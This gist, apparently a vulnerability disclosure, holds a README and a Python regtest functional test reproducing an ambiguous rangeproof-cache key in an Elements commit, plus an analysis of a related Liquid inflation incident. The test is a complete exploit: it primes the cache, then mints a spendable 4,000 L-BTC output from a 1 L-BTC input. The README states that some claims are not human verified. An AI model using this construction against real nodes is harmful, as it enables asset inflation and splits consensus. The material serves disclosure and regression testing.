Skip to content

Instantly share code, notes, and snippets.

@Sjors

Sjors/README.md Secret

Last active September 7, 2026 13:34
Show Gist options
  • Select an option

  • Save Sjors/ca9e796a11efd841414cd711aa36eba6 to your computer and use it in GitHub Desktop.

Select an option

Save Sjors/ca9e796a11efd841414cd711aa36eba6 to your computer and use it in GitHub Desktop.
Elements rangeproof-cache collision functional-test reproducer

Elements rangeproof-cache collision reproducer

Written by OpenAI Codex, refined by Claude Opus 5; not all claims are human verified.

This educational functional test demonstrates the rangeproof-cache ambiguity introduced by Elements commit 212c43f475fc202b5b9e6dbb1f1c616e1a06a6f7. It creates all transactions and commitments locally on a temporary custom regtest chain; it does not use Liquid mainnet data.

The actors use separate nodes and wallets:

  • victim user: receives and continues to hold a legitimate 10 L-BTC output;
  • functionary stand-in: validates transactions and produces the block;
  • attacker: receives two legitimate 1 L-BTC outputs, using one for the valid cache primer and the other for the inflation transaction;
  • blocks-only validator: runs with -blocksonly, so it declines relayed transactions and only ever meets the primer while connecting a block.

The transaction sequence is:

  1. A funding transaction gives the victim 10 L-BTC and the poorer attacker two separate 1 L-BTC outputs. The victim's output is never spent.
  2. Before priming the cache, the functionary correctly rejects the inflation transaction.
  3. The primer creates a one-satoshi OP_RETURN output with a valid rangeproof. The first three nodes accept it into their mempools, creating the cache entry. The blocks-only node does not, and so has no entry. It is then mined in its own block, which every node connects, reaching identical chainstates.
  4. The inflation transaction spends the attacker's other 1 L-BTC output. It creates a positive 4,000 L-BTC output and a negative balancing output whose malformed rangeproof has the same ambiguous cache bytes as the primer's valid proof tuple. It is mined in the following block.
  5. The primed nodes accept the inflation transaction on the affected build. The blocks-only validator rejects its block and stays two blocks behind.
  6. The attacker spends the inflated 4,000 L-BTC output with an ordinary transaction, which is mined. This needs no cache trickery of its own: the commitment genuinely commits to 4,000, so the spend balances normally.

Primer output used to prime the cache

The primer is an ordinary valid transaction. Its purpose is only to place a successful proof result in the validator's process-local cache.

The primer needs a variable-length scriptPubKey that can hold exact attacker- chosen bytes. Its long script is:

OP_RETURN PUSH67 <negative value commitment> <asset generator> OP_RETURN

The third field is an asset generator, which matters when checking any of this against chain data. Elements does not hash the serialized nAsset field: for an explicit asset, VerifyAmounts first replaces it with the 33-byte generator derived from the asset tag, and only that reaches the cache key. For a blinded asset the field already is a generator, so the two coincide.

Both incident outputs are explicit L-BTC, so their chunk is 0a0a488d…dc6d, not 016d521c…026f. The substitution is easy to miss because both are 33 bytes: use the wrong one and the preimage is still the right length, it simply does not match. The reconstruction below depends on getting it right.

At 69 bytes this script is nowhere near a relay limit. Elements defaults nMaxDatacarrierBytes to MAX_OP_RETURN_RELAY, which is 100000 rather than Bitcoin's 83.

%%{init: {"flowchart": {"nodeSpacing": 16, "rankSpacing": 16, "padding": 10, "diagramPadding": 4, "subGraphTitleMargin": {"top": 0, "bottom": 8}}}}%%
flowchart LR
    subgraph P["Output 0 · 1 satoshi"]
        direction LR
        subgraph L[" "]
            direction TB
            subgraph W["Output witness · rangeproof"]
                direction TB
                R["① valid primer proof"]
            end
            C["② value commitment<br/>③ asset generator"]
            W ~~~ C
        end
        subgraph S["scriptPubKey"]
            direction TB
            SL["④ OP_RETURN PUSH67 — script prefix<br/>⑤ future negative value commitment<br/>⑥ future asset generator<br/>⑦ final OP_RETURN"]
        end
        L ~~~ S
    end
    style L fill:transparent,stroke:transparent
    class C,SL list
    classDef list text-align:left
Loading

The nonce and surjection proof are omitted. The circled numbers mark each chunk's position in the cache-key byte sequence shown below.

That standard data-carrier form conveniently embeds three fields belonging to the later inflation output. In the attack transaction, the field boundary is shifted: the first OP_RETURN PUSH67 bytes become the end of the malformed rangeproof, while the embedded commitments and final OP_RETURN become the attack output's separate value, asset, and script fields.

The cache does not treat OP_RETURN data specially. Elements passes the entire scriptPubKey to secp256k1_rangeproof_verify as the proof's additional commitment, so the cache key must include the same complete script.

What the primer puts in the cache

The vulnerable code hashes four fields without recording their boundaries:

cache key = rangeproof || value commitment || asset generator || scriptPubKey

The cache records the validated primer output like this:

Output being checked rangeproof field value field asset field scriptPubKey field Cache outcome
Primer ✓ ① parsed and valid ② primer commitment ③ primer generator ④ ⑤ ⑥ ⑦ Stores H(①②③④⑤⑥⑦) = valid

Here ④ is the primer script prefix. The attacker chose ⑤ and ⑥ for later use as the value commitment and asset generator, and ⑦ for later use as OP_RETURN. After checking the primer, the cache retains only the salted digest and the fact that this sequence of bytes verified successfully.

The primer output amount does not limit or determine the amount created by the inflation transaction.

Inflation transaction outputs in the test

%%{init: {"flowchart": {"nodeSpacing": 16, "rankSpacing": 16, "padding": 10, "diagramPadding": 4, "subGraphTitleMargin": {"top": 0, "bottom": 8}}}}%%
flowchart TB
    subgraph O0["Output 0"]
        direction TB
        P["Positive output<br/>4,000 L-BTC<br/>spendable<br/>valid rangeproof"]
    end

    subgraph O1["Output 1 · balancing output"]
        direction LR
        subgraph L[" "]
            direction TB
            subgraph W["Output witness · rangeproof"]
                direction TB
                R["① valid primer proof<br/>② primer value commitment<br/>③ primer asset generator<br/>④ primer script prefix"]:::skipped
            end
            C["⑤ negative value commitment<br/>⑥ asset generator"]
            W ~~~ C
        end
        subgraph S["scriptPubKey"]
            direction TB
            S7["⑦ OP_RETURN"]
        end
        L ~~~ S
    end

    O0 ~~~ O1
    style L fill:transparent,stroke:transparent
    style W stroke-dasharray:6 4
    class R,C list
    classDef skipped stroke-dasharray:6 4
    classDef list text-align:left
Loading

Compare the matching witness boxes: the primer's entire rangeproof is ①. In the balancing output, the rangeproof field is ①②③④. The added bytes make that complete field malformed, but the cache hit means it is never parsed as a rangeproof. The dashed outlines mark the field and chunks skipped by that parser; their bytes are still included in the cache hash.

The test uses ordinary test-only curve arithmetic to balance the inflation transaction's real 1 L-BTC input against its positive 4,000 L-BTC output and negative confidential output. A valid rangeproof would forbid the latter.

How the inflation output reuses the entry

Now the same table can include the inflation balancing output:

Output being checked rangeproof field value field asset field scriptPubKey field Cache outcome
Primer ✓ ① parsed and valid ② primer commitment ③ primer generator ④ ⑤ ⑥ ⑦ Stores H(①②③④⑤⑥⑦) = valid
Inflation balancing output ⏭ ① ② ③ ④
malformed; parser skipped
⑤ negative commitment ⑥ asset generator ⑦ OP_RETURN Same bytes, so the cache returns valid

The field boundaries have moved, but both rows concatenate to ①②③④⑤⑥⑦. For the inflation output, the rangeproof field is the malformed sequence ①②③④. Its salted digest nevertheless hits the primer's cache entry, so the cached valid result bypasses the libsecp256k1 rangeproof parser. Transaction deserialization still reads the malformed rangeproof as an opaque byte vector.

Test ordering and the Liquid incident

The functional test matches the incident's two-block ordering: it mines the primer in one block and the inflation transaction in the next. The cache entry is created when affected nodes first validate the primer for their mempools; connecting a block consults this cache but does not populate it, because ConnectBlock passes fCacheResults = fJustCheck. Block connection marks a matching entry as discardable, but allow_erase() only sets a flag on the cuckoo-cache slot: the entry stays readable until some later insert reuses one of its eight candidate slots. Continuously running nodes therefore still hit it in the next block. That survival is a probability rather than a guarantee, which is one reason to keep the two blocks adjacent. A node that sees the primer only while connecting its block is never primed at all.

In the Liquid incident, two transactions containing the same primer tuple were mined in block 4,050,335:

Their primer outputs are byte-for-byte identical: the same 69-byte scriptPubKey, the same value commitment, the same explicit L-BTC asset, the same null nonce, and the same 4,166-byte proof. Each therefore produces the same single cache entry. The malformed inflation transaction f24a4b179b5cc7e88b25a763911f7cbdf2bf45d1d1b5ab611e94461cef0a183f was then the first non-coinbase transaction in block 4,050,336.

The whole primer tuple is recoverable from that inflation transaction alone, because every chunk of it is embedded in the malformed proof or in the output being checked. Splitting the 4,234-byte proof as 4166 || 33 || 33 || 2 gives:

① proof[0:4166]      valid, min_value 0, max_value 2^52-1
② 09d6c615…e683f5    primer value commitment      = proof[4166:4199]
③ 0a0a488d…282ddc6d  L-BTC asset generator        = proof[4199:4232]
④ 6a43               primer script prefix         = proof[4232:4234]
⑤ 086f5d67…5b1d01d8  balancing output's value commitment
⑥ 0a0a488d…282ddc6d  the same generator (both outputs are explicit L-BTC)
⑦ 6a                 balancing output's scriptPubKey

so the primer's 69-byte scriptPubKey was ④⑤⑥⑦:

6a43086f5d67160fc4b477954fb09ef321e5b589d7a07740a1a6df494ed2335b1d01d8
0a0a488de4899d0ae757f6cf8368663184d164106111ed9eaecf510e35282ddc6d6a

Checked directly against libsecp256k1, ① verifies against ②, ③ and that script, the on-chain tuple ①②③④ against ⑤, ⑥, ⑦ does not, and the two concatenations are the same 4,301 bytes. Note that ③ and ⑥ are the derived generator secp256k1_generator_generate(6d521c…026f), not the serialized asset field 016d521c…026f.

Block 4,050,335 confirms the reconstruction exactly. Output 0 of each of the two transactions above is precisely the predicted primer, and each one's four-field preimage equals the malformed output's. Their two-field preimages do not, which is the mechanical reason the older implementation is unaffected however many times it sees the primer.

That block also shows how the attempt was staged. All three transactions spend sibling outputs of one funding transaction 0fbde521636bd2c3f284a86e753f5613f06a50efa26a2cec80bb7c3b92123b95 — the two primers take outputs 0 and 1, the inflation transaction takes output 2 — and each pays exactly 58 satoshis in fees. The two primers are independent transactions rather than a chain, so either could confirm on its own. That fits propagation redundancy, though it does not establish it.

The preceding block is not fundamental to the collision, but it makes the attack dependable. The affected cache persists across blocks, so a continuously running node reaches block 4,050,336 with the valid result already stored.

Nothing about the mechanism requires two blocks, or even two transactions. Mempool acceptance calls CheckTxInputs with pvChecks = NULL and cacheStore = true, so the range checks run inline in output order and store their results. A single transaction whose primer output sits at a lower index than its balancing output would therefore prime its own cache entry while being accepted, and would then be mined in the usual way.

What does not work is relying on ordering within a block. For an ordinary validator this fails outright rather than unreliably: ConnectBlock never stores results, so a primer seen only inside a block leaves no entry, whichever order the outputs appear in. Ordering is a race only for the block producer's own TestBlockValidity pass, which runs with fJustCheck = true and therefore does store, but queues its checks for parallel workers.

Two primer transactions were mined rather than one, and the reason is still not established. Either alone would have primed any node that saw it, and between them they create only a single cache entry.

Every node in the test runs the same affected binary, so the split has to come from somewhere other than the code. It comes from -blocksonly. That node declines relayed transactions, so the primer never passes through its mempool and it never stores the entry, but it connects both blocks normally and holds exactly the same chainstate as its peers. It then rejects the inflation block they have just accepted. No restart, no downgrade, and nothing else about it is special.

A blocks-only node is not a contrived special case: it stands for any node that reaches block 4,050,336 with an empty cache, including one syncing from scratch. On the affected build the chain is not re-syncable, since the entry can only be created by mempool acceptance and initial block download never accepts the primer into a mempool. The one caveat is that VerifyAmounts is reached only when fScriptChecks is set, which assumevalid can switch off. That does not help today — the block is newer than any shipped assumevalid value and inside the two-week window — but a later release whose assumevalid sits past this height would paper the block over rather than repair it. Any archival re-validation of this chain should therefore set assumevalid=0.

A real rejecting validator could equally be running the older implementation or a proper fix.

For this particular incident construction, there are two ways to restore deterministic rejection:

  • Downgrade to the older public stable implementation. Its cache key used only the proof and value commitment, so this four-field collision does not hit even after it sees the primer. This explains why the unupgraded Mempool Liquid instance rejected block 4,050,336 while Blockstream's instance accepted it. Downgrading is useful containment, not the ideal final repair: the older key was being changed precisely because it did not bind the asset commitment and script.
  • Upgrade to a proper fix. An unambiguous length-prefixed cache key (or one bound to the transaction and output) rejects the attack whether or not the node previously saw the primer.

The test therefore reproduces both visible inflation and the process-local consensus split in the affected intermediate implementation.

How the test differs from the incident

The test builds its own transactions rather than replaying the incident's. None of the following differences is load-bearing for the collision, but each hides something real:

Test Incident (f24a4b…183f)
Balancing output's asset blinded explicit L-BTC
Its surjection proof copied from the positive output, valid because both outputs share an asset commitment none; an explicit asset requires the field to be empty
Fee none: the balancing output is C_input - C_positive, and adding a fee would need fee * H, i.e. the generator the test never derives explicit 58 satoshis, in output 3
Outputs 2 4: positive, balancing, a second confidential-asset output, and the fee
Attacker's funding outputs 2, one per transaction 3 siblings of 0fbde5…3b95, for two primers and the inflation transaction
Nonce on the positive output present, so the attacker's wallet lists it null, so the attacker's wallet would not have listed it either

The blinded asset is the notable one: it costs the attacker an extra artefact, the copied surjection proof, that the incident did not need. It is not avoidable here, because the blinding RPCs always blind an output's asset alongside its value, and matching the incident would mean building the proofs by hand — the one thing this test is written to avoid. The missing fee has the same root: the balancing output would absorb it perfectly well, but computing fee * H needs the same generator.

Worth stating alongside: the surjection-proof cache is not open to the same trick, because ComputeEntrySurjectionProof binds the wtxid, so no entry of its can be primed by a different transaction. That is the shape the rangeproof key should have had.

Why this implies musical chairs

No peg-out or HSM simulation is needed to demonstrate the economic consequence:

victim user:  still owns 10 L-BTC on the Liquid ledger
attacker:     turns one real 1 L-BTC input into a spendable 4,000 L-BTC output
ledger:       now contains more positive, spendable L-BTC than before
BTC treasury: unchanged, so not every positive L-BTC claim can be redeemed

The negative output makes the Pedersen commitment equation balance, but cannot be spent and is hidden behind the bypassed rangeproof check. A real end-to-end peg-out test would require a Bitcoin regtest node and functionary signing setup; that machinery is omitted because it does not illuminate the cache-key bug or the inflation.

Build and run

This uses regtest.

git clone https://github.com/ElementsProject/elements.git
cd elements

# No release tag contains the ambiguous four-field cache key; pin its commit.
git checkout 212c43f475fc202b5b9e6dbb1f1c616e1a06a6f7

# Install the normal Elements build dependencies first, then build a daemon
# with wallet and SQLite support (the defaults).
./autogen.sh
./configure --without-gui --disable-bench
make -j4

# Copy the Python file from this gist into the functional-test directory.
cp /path/to/feature_rangeproof_cache_collision.py test/functional/
chmod +x test/functional/feature_rangeproof_cache_collision.py

test/functional/test_runner.py feature_rangeproof_cache_collision.py

Expected result on the affected commit:

Vulnerability reproduced: a 1 L-BTC input created a spendable 4,000 L-BTC output
Primed nodes accepted the next block; the blocks-only validator rejected it
The inflated output was then spent by an ordinary transaction and mined

The test deliberately passes when it reproduces the vulnerable behavior. A regression test for a corrected implementation should instead require the malformed transaction to remain rejected after the primer.

#!/usr/bin/env python3
# Copyright (c) 2026 The Elements Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Demonstrate the ambiguous rangeproof-cache key used by 212c43f475.
This is deliberately a small, black-box reproducer. It does not copy either
transaction from the Liquid incident. Instead it asks the wallet to create
ordinary confidential transactions, constructs a negative balancing output,
and places the same seven byte chunks into four cache-key fields with different
boundaries. The valid primer is mined one block before the inflation attempt,
matching the incident's ordering.
The test PASSES when primed nodes accept the malformed inflation transaction
while a blocks-only validator, which never sees the primer outside a block,
rejects its block. A regression test for a corrected cache key should instead
require rejection after priming.
Deliberate simplifications, neither of which the collision depends on:
* Both affected outputs carry blinded assets. The incident used explicit
L-BTC, for which VerifyAmounts substitutes the derived asset generator into
the cache key and no surjection proof is required at all. Reproducing that
would mean building the proofs by hand, since the blinding RPCs always
blind an output's asset alongside its value.
* The inflation transaction pays no fee. The balancing output is computed as
C_input - C_positive, and paying a fee would make it C_input - C_positive -
fee * H, which needs the L-BTC generator that this test deliberately never
derives. The incident's transaction paid an explicit 58 satoshis.
The two-block shape follows the incident but is not required by the mechanism.
Mempool acceptance calls CheckTxInputs with pvChecks=NULL and cacheStore=true,
so the range checks run inline in output order and do store their results: a
single transaction whose primer output precedes its balancing output would
prime its own cache entry.
"""
from decimal import Decimal
from test_framework.key import jacobi_symbol, SECP256K1, SECP256K1_FIELD_SIZE
from test_framework.messages import tx_from_hex
from test_framework.script import CScript, OP_RETURN
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import assert_equal
class RangeproofCacheCollisionTest(BitcoinTestFramework):
def set_test_params(self):
# Keep the actors separate so RPC calls show who knows keys and who is
# merely deciding whether a transaction belongs in the chain:
#
# node 0: functionary/validator stand-in and block producer
# node 1: victim user, owning an ordinary L-BTC output
# node 2: attacker, owning only the two inputs used below
# node 3: blocks-only validator, which is therefore never primed
self.num_nodes = 4
self.setup_clean_chain = True
common_args = [
"-blindedaddresses=1",
"-initialfreecoins=2100000000000000",
"-con_blocksubsidy=0",
"-con_connect_genesis_outputs=1",
"-minrelaytxfee=0",
"-blockmintxfee=0",
# Lets node 0 spend the deliberately unusual genesis OP_TRUE output
# that seeds this custom chain. Set everywhere so that every node
# agrees the funding transaction below is standard.
"-anyonecanspendaremine=1",
]
# Node 3 rejects transactions from peers, so it only ever sees the
# primer while connecting a block, and block connection consults the
# rangeproof cache without populating it. Nothing else distinguishes
# it: no restart, no downgrade, and the same chainstate as its peers.
self.extra_args = [
common_args,
common_args,
common_args,
common_args + ["-blocksonly=1"],
]
def skip_test_if_missing_module(self):
self.skip_if_no_wallet()
def setup_network(self):
# A star topology around the block producer.
self.setup_nodes()
self.connect_nodes(1, 0)
self.connect_nodes(2, 0)
self.connect_nodes(3, 0)
self.sync_all()
def make_confidential_spend(self, owner, utxo, target_script=None):
"""Spend one 1 L-BTC UTXO into two blinded outputs.
Two blinded outputs are used because their random value blinders must
cancel. The second output and the explicit fee are otherwise
uninteresting bookkeeping.
"""
target_address = owner.getnewaddress()
change_address = owner.getnewaddress()
raw = owner.createrawtransaction(
[{"txid": utxo["txid"], "vout": utxo["vout"]}],
[
{target_address: Decimal("0.00000001")},
{change_address: Decimal("0.99999998")},
{"fee": Decimal("0.00000001")},
],
)
tx = tx_from_hex(raw)
if target_script is not None:
# createrawtransaction placed the recipient's ephemeral blinding
# pubkey in nNonce. Keeping nNonce while replacing scriptPubKey
# lets blindrawtransaction make a proof for our educational
# OP_RETURN script without any custom cryptographic code.
tx.vout[0].scriptPubKey = target_script
blinded = owner.blindrawtransaction(tx.serialize().hex(), False)
signed = owner.signrawtransactionwithwallet(blinded)["hex"]
return tx_from_hex(signed)
@staticmethod
def cache_key_fields(tx, output_index):
"""Return the four byte strings in vulnerable cache-key order.
The rangeproof comes from the output witness. The value commitment,
asset commitment, and scriptPubKey come from the transaction output.
Its nonce and the witness's surjection proof are not in this cache key.
For an explicit asset, VerifyAmounts hashes the generator derived from
the asset tag rather than the serialized nAsset field. Every output
here is blinded, where the two coincide; the assertion stops this
helper being pointed at an explicit-asset output, such as either
affected output of the incident transaction.
"""
output = tx.vout[output_index]
witness = tx.wit.vtxoutwit[output_index]
assert output.nAsset.vchCommitment[0] in (10, 11), \
"explicit assets are hashed as their derived generator, not as 01 || asset_id"
return [
witness.vchRangeproof,
output.nValue.vchCommitment,
output.nAsset.vchCommitment,
output.scriptPubKey,
]
@classmethod
def cache_preimage(cls, tx, output_index):
"""Return the vulnerable raw concatenation, with no field lengths."""
return b"".join(cls.cache_key_fields(tx, output_index))
@staticmethod
def subtract_value_commitments(left, right):
"""Return the serialized Pedersen commitment ``left - right``.
Pedersen commitments are secp256k1 curve points with 08/09 prefixes.
Unlike ordinary 02/03 public keys, the low prefix bit selects whether
Y is a quadratic residue, not whether Y is odd. Point subtraction
itself needs no secret blinding factors.
"""
def parse(commitment):
assert commitment[0] in (8, 9)
point = SECP256K1.lift_x(int.from_bytes(commitment[1:], "big"))
assert point is not None
y_is_square = jacobi_symbol(point[1], SECP256K1_FIELD_SIZE) == 1
if y_is_square != (commitment[0] == 8):
point = SECP256K1.negate(point)
return point
difference = SECP256K1.affine(SECP256K1.add(
parse(left),
SECP256K1.negate(parse(right)),
))
assert difference is not None
prefix = 8 if jacobi_symbol(difference[1], SECP256K1_FIELD_SIZE) == 1 else 9
return bytes([prefix]) + difference[0].to_bytes(32, "big")
def run_test(self):
functionary = self.nodes[0]
victim = self.nodes[1]
attacker = self.nodes[2]
blocks_only_validator = self.nodes[3]
# Spend the genesis OP_TRUE output ourselves. Descriptor wallets do
# not import that unusual output even with -anyonecanspendaremine, so
# sendmany would incorrectly report an empty wallet. Give the victim
# one ordinary 10 L-BTC output, and give the poorer attacker exactly
# two separate 1 L-BTC outputs for the primer and attack transactions.
victim_address = victim.getnewaddress()
attacker_addresses = [
attacker.getnewaddress(),
attacker.getnewaddress(),
]
genesis_block = functionary.getblock(functionary.getblockhash(0))
genesis_txid = genesis_block["tx"][1]
genesis_value = functionary.gettxout(genesis_txid, 0)["value"]
fee = Decimal("0.01")
funding_hex = functionary.createrawtransaction(
[{"txid": genesis_txid, "vout": 0}],
[
{victim_address: Decimal("10")},
{attacker_addresses[0]: Decimal("1")},
{attacker_addresses[1]: Decimal("1")},
{functionary.getnewaddress(): genesis_value - Decimal("12") - fee},
{"fee": fee},
],
)
# rawblindrawtransaction does not need to own the recipients' keys; the
# confidential addresses already placed their public blinding keys in
# the outputs. The genesis input itself is explicit, hence zero input
# blinders.
funding_hex = functionary.rawblindrawtransaction(
funding_hex,
["00" * 32],
[genesis_value],
[functionary.dumpassetlabels()["bitcoin"]],
["00" * 32],
"",
False,
)
functionary.sendrawtransaction(funding_hex)
self.generate(functionary, 1)
self.sync_all()
attacker_utxos = attacker.listunspent(1, 1, attacker_addresses)
assert_equal(len(attacker_utxos), 2)
assert_equal(victim.getbalance()["bitcoin"], Decimal("10"))
# Ask the blinding RPC to construct a genuine proof for a 4,000 L-BTC
# output. The RPC is an offline constructor: it trusts the caller's
# description of the input amount, while consensus later uses the real
# 1 L-BTC UTXO. A zero-valued OP_RETURN is included as a placeholder
# for the negative balancing output constructed below.
attack_amount = Decimal("4000")
attack_address = attacker.getnewaddress()
attack_raw = attacker.createrawtransaction(
[{"txid": attacker_utxos[0]["txid"], "vout": attacker_utxos[0]["vout"]}],
[{attack_address: attack_amount}, {"data": "00"}],
)
attack_unblinded = tx_from_hex(attack_raw)
next(output for output in attack_unblinded.vout if output.scriptPubKey[0] == OP_RETURN).scriptPubKey = bytes([OP_RETURN])
attack_hex = attacker.rawblindrawtransaction(
attack_unblinded.serialize().hex(),
[attacker_utxos[0]["amountblinder"]],
[attack_amount], # Deliberately lie: the real input contains 1.
[attacker_utxos[0]["asset"]],
[attacker_utxos[0]["assetblinder"]],
"",
False,
)
attack = tx_from_hex(attack_hex)
positive_index = next(i for i, output in enumerate(attack.vout) if output.scriptPubKey != bytes([OP_RETURN]))
negative_index = 1 - positive_index
attack_output = attack.vout[negative_index]
funding = tx_from_hex(funding_hex)
input_commitment = funding.vout[attacker_utxos[0]["vout"]].nValue.vchCommitment
positive_output = attack.vout[positive_index]
# C_negative = C_real_input - C_4000. The Pedersen tally now balances
# even though one output represents a large negative value. A valid
# rangeproof would make that negative value impossible, which is why
# bypassing precisely that check inflates the visible positive supply.
attack_output.nValue.vchCommitment = self.subtract_value_commitments(
input_commitment,
positive_output.nValue.vchCommitment,
)
attack_output.nAsset.vchCommitment = positive_output.nAsset.vchCommitment
attack.wit.vtxoutwit[negative_index].vchSurjectionproof = attack.wit.vtxoutwit[positive_index].vchSurjectionproof
# Put the later attack output's value, asset, and script fields into a
# standard OP_RETURN data push. The bytes before that payload become
# the fourth chunk reinterpreted across field boundaries.
#
# The payload is always 33 + 33 + 1 = 67 bytes, so CScript emits the
# direct push 0x43 and this prefix is 6a43, byte for byte the prefix the
# incident used. The resulting 69-byte script is nowhere near the relay
# limit: Elements defaults nMaxDatacarrierBytes to 100000, not 83.
chunk_5_negative_value = bytes(attack_output.nValue.vchCommitment)
chunk_6_attack_asset = bytes(attack_output.nAsset.vchCommitment)
chunk_7_attack_script = bytes(attack_output.scriptPubKey)
primer_payload = b"".join([
chunk_5_negative_value,
chunk_6_attack_asset,
chunk_7_attack_script,
])
primer_script = CScript([OP_RETURN, primer_payload])
primer_prefix = primer_script[:-len(primer_payload)]
primer = self.make_confidential_spend(attacker, attacker_utxos[1], primer_script)
# These numbered chunks are the literal byte matches shown in the
# accompanying README. The primer's cache-key fields are:
#
# rangeproof = ① value = ② asset = ③
# scriptPubKey = ④⑤⑥⑦
#
# The inflation output moves the boundaries:
#
# rangeproof = ①②③④ value = ⑤ asset = ⑥
# scriptPubKey = ⑦
#
# Thus both cache preimages are the exact byte sequence ①②③④⑤⑥⑦.
# Only ① is a valid rangeproof. The affected cache hit prevents
# libsecp256k1 from parsing the malformed ①②③④ rangeproof.
primer_output = primer.vout[0]
chunks = [
bytes(primer.wit.vtxoutwit[0].vchRangeproof), # ① valid primer proof
bytes(primer_output.nValue.vchCommitment), # ② primer value commitment
bytes(primer_output.nAsset.vchCommitment), # ③ primer asset commitment
bytes(primer_prefix), # ④ primer script prefix
chunk_5_negative_value, # ⑤ negative value commitment
chunk_6_attack_asset, # ⑥ attack asset commitment
chunk_7_attack_script, # ⑦ attack scriptPubKey
]
attack.wit.vtxoutwit[negative_index].vchRangeproof = b"".join(chunks[:4])
primer_fields = self.cache_key_fields(primer, 0)
attack_fields = self.cache_key_fields(attack, negative_index)
assert_equal(primer_fields, [
chunks[0],
chunks[1],
chunks[2],
b"".join(chunks[3:]),
])
assert_equal(attack_fields, [
b"".join(chunks[:4]),
chunks[4],
chunks[5],
chunks[6],
])
expected_preimage = b"".join(chunks)
assert_equal(self.cache_preimage(primer, 0), expected_preimage)
assert_equal(self.cache_preimage(attack, negative_index), expected_preimage)
assert primer.wit.vtxoutwit[0].vchRangeproof != attack.wit.vtxoutwit[negative_index].vchRangeproof
assert primer.vout[0].scriptPubKey != attack.vout[negative_index].scriptPubKey
# Outputs are part of the signature hash, so sign only after replacing
# the negative commitment and malformed rangeproof.
attack_hex = attacker.signrawtransactionwithwallet(attack.serialize().hex())["hex"]
# With an empty cache, full verification catches the malformed proof.
# Assert the reason too: "allowed": False on its own would also be
# satisfied by a fee, dust or standardness rejection, which would make
# the later acceptance prove nothing about the rangeproof check.
before_priming = functionary.testmempoolaccept([attack_hex])[0]
assert_equal(before_priming["allowed"], False)
assert_equal(before_priming["reject-reason"], "bad-txns-in-ne-out")
# Mempool validation stores the valid proof result in the process-local
# cache; block connection consults the cache but does not populate it.
# The blocks-only validator declines relayed transactions, so it is left
# out of this sync and is the one node that never gets the entry.
primer_txid = functionary.sendrawtransaction(primer.serialize().hex())
primed_nodes = [functionary, victim, attacker]
self.sync_mempools(primed_nodes)
assert_equal(blocks_only_validator.getrawmempool(), [])
# Mine the primer in its own block, matching the incident's ordering.
# Connecting a block looks the entry up with erase=true, but cuckoocache
# allow_erase() only flags the slot as discardable; the entry stays
# readable until some later insert reuses one of its eight candidate
# slots. Primed nodes therefore still find it while validating the
# following block. Survival is a probability, not a guarantee, which is
# a further reason to keep the two blocks adjacent.
primer_block_hash = self.generate(
functionary,
1,
sync_fun=lambda: self.sync_blocks(self.nodes),
)[0]
assert primer_txid in functionary.getblock(primer_block_hash)["tx"]
# The blocks-only validator now holds the primer block, and so the
# primer's valid proof, in exactly the same chainstate as its peers. It
# simply never ran that proof through mempool validation, so its
# rangeproof cache is still empty.
validator_tip = blocks_only_validator.getbestblockhash()
assert_equal(validator_tip, primer_block_hash)
# Because the primed nodes hold the entry, the ambiguous cache hit lets
# them accept the malformed proof.
attack_txid = functionary.sendrawtransaction(attack_hex)
attacker.sendrawtransaction(attack_hex)
assert attack_txid in functionary.getrawmempool()
# Mine the inflation transaction in the immediately following block,
# as happened at Liquid heights 4,050,335 and 4,050,336.
attack_block_hash = self.generate(
functionary,
1,
sync_fun=lambda: self.sync_blocks(primed_nodes),
)[0]
attack_block_txids = functionary.getblock(attack_block_hash)["tx"]
assert primer_txid not in attack_block_txids
assert attack_txid in attack_block_txids
# The validity mismatch in one assertion: never having held the cache
# entry, the blocks-only validator rejects the exact block the three
# primed nodes have just made active.
self.wait_until(lambda: any(
tip["hash"] == attack_block_hash and tip["status"] == "invalid"
for tip in blocks_only_validator.getchaintips()
))
assert_equal(blocks_only_validator.getbestblockhash(), validator_tip)
assert_equal(functionary.getbestblockhash(), attack_block_hash)
assert_equal(victim.getbestblockhash(), attack_block_hash)
assert_equal(attacker.getbestblockhash(), attack_block_hash)
# The attacker wallet reports a 4,000 L-BTC output created from a real
# 1 L-BTC input, while the victim's own entry is untouched. With a
# finite Bitcoin treasury, who can redeem becomes a game of musical
# chairs even though ordinary Liquid transfers can continue.
assert_equal(victim.getbalance()["bitcoin"], Decimal("10"))
inflated_utxos = attacker.listunspent(1, 1, [attack_address])
assert_equal(len(inflated_utxos), 1)
assert_equal(inflated_utxos[0]["amount"], attack_amount)
# listunspent is only the wallet's view, so spend the output too. The
# commitment genuinely commits to 4,000, so an ordinary transaction
# spending it balances with no further cache trickery and no bypassed
# check of its own.
spend_address = attacker.getnewaddress()
spend_amount = attack_amount - Decimal("0.00000001")
spend_hex = attacker.createrawtransaction(
[{"txid": inflated_utxos[0]["txid"], "vout": inflated_utxos[0]["vout"]}],
[{spend_address: spend_amount}, {"fee": Decimal("0.00000001")}],
)
spend_hex = attacker.blindrawtransaction(spend_hex)
spend_hex = attacker.signrawtransactionwithwallet(spend_hex)["hex"]
spend_txid = attacker.sendrawtransaction(spend_hex)
self.sync_mempools(primed_nodes)
spend_block_hash = self.generate(
functionary,
1,
sync_fun=lambda: self.sync_blocks(primed_nodes),
)[0]
assert spend_txid in functionary.getblock(spend_block_hash)["tx"]
spent_onwards = attacker.listunspent(1, 1, [spend_address])
assert_equal(len(spent_onwards), 1)
assert_equal(spent_onwards[0]["amount"], spend_amount)
# The two chains have not converged: the primed nodes have built on the
# inflation block while the blocks-only validator is still two blocks
# back, on the last block it considers valid.
assert_equal(blocks_only_validator.getbestblockhash(), validator_tip)
self.log.info("Vulnerability reproduced: a 1 L-BTC input created a spendable 4,000 L-BTC output")
self.log.info("Primed nodes accepted the next block; the blocks-only validator rejected it")
self.log.info("The inflated output was then spent by an ordinary transaction and mined")
if __name__ == "__main__":
RangeproofCacheCollisionTest().main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment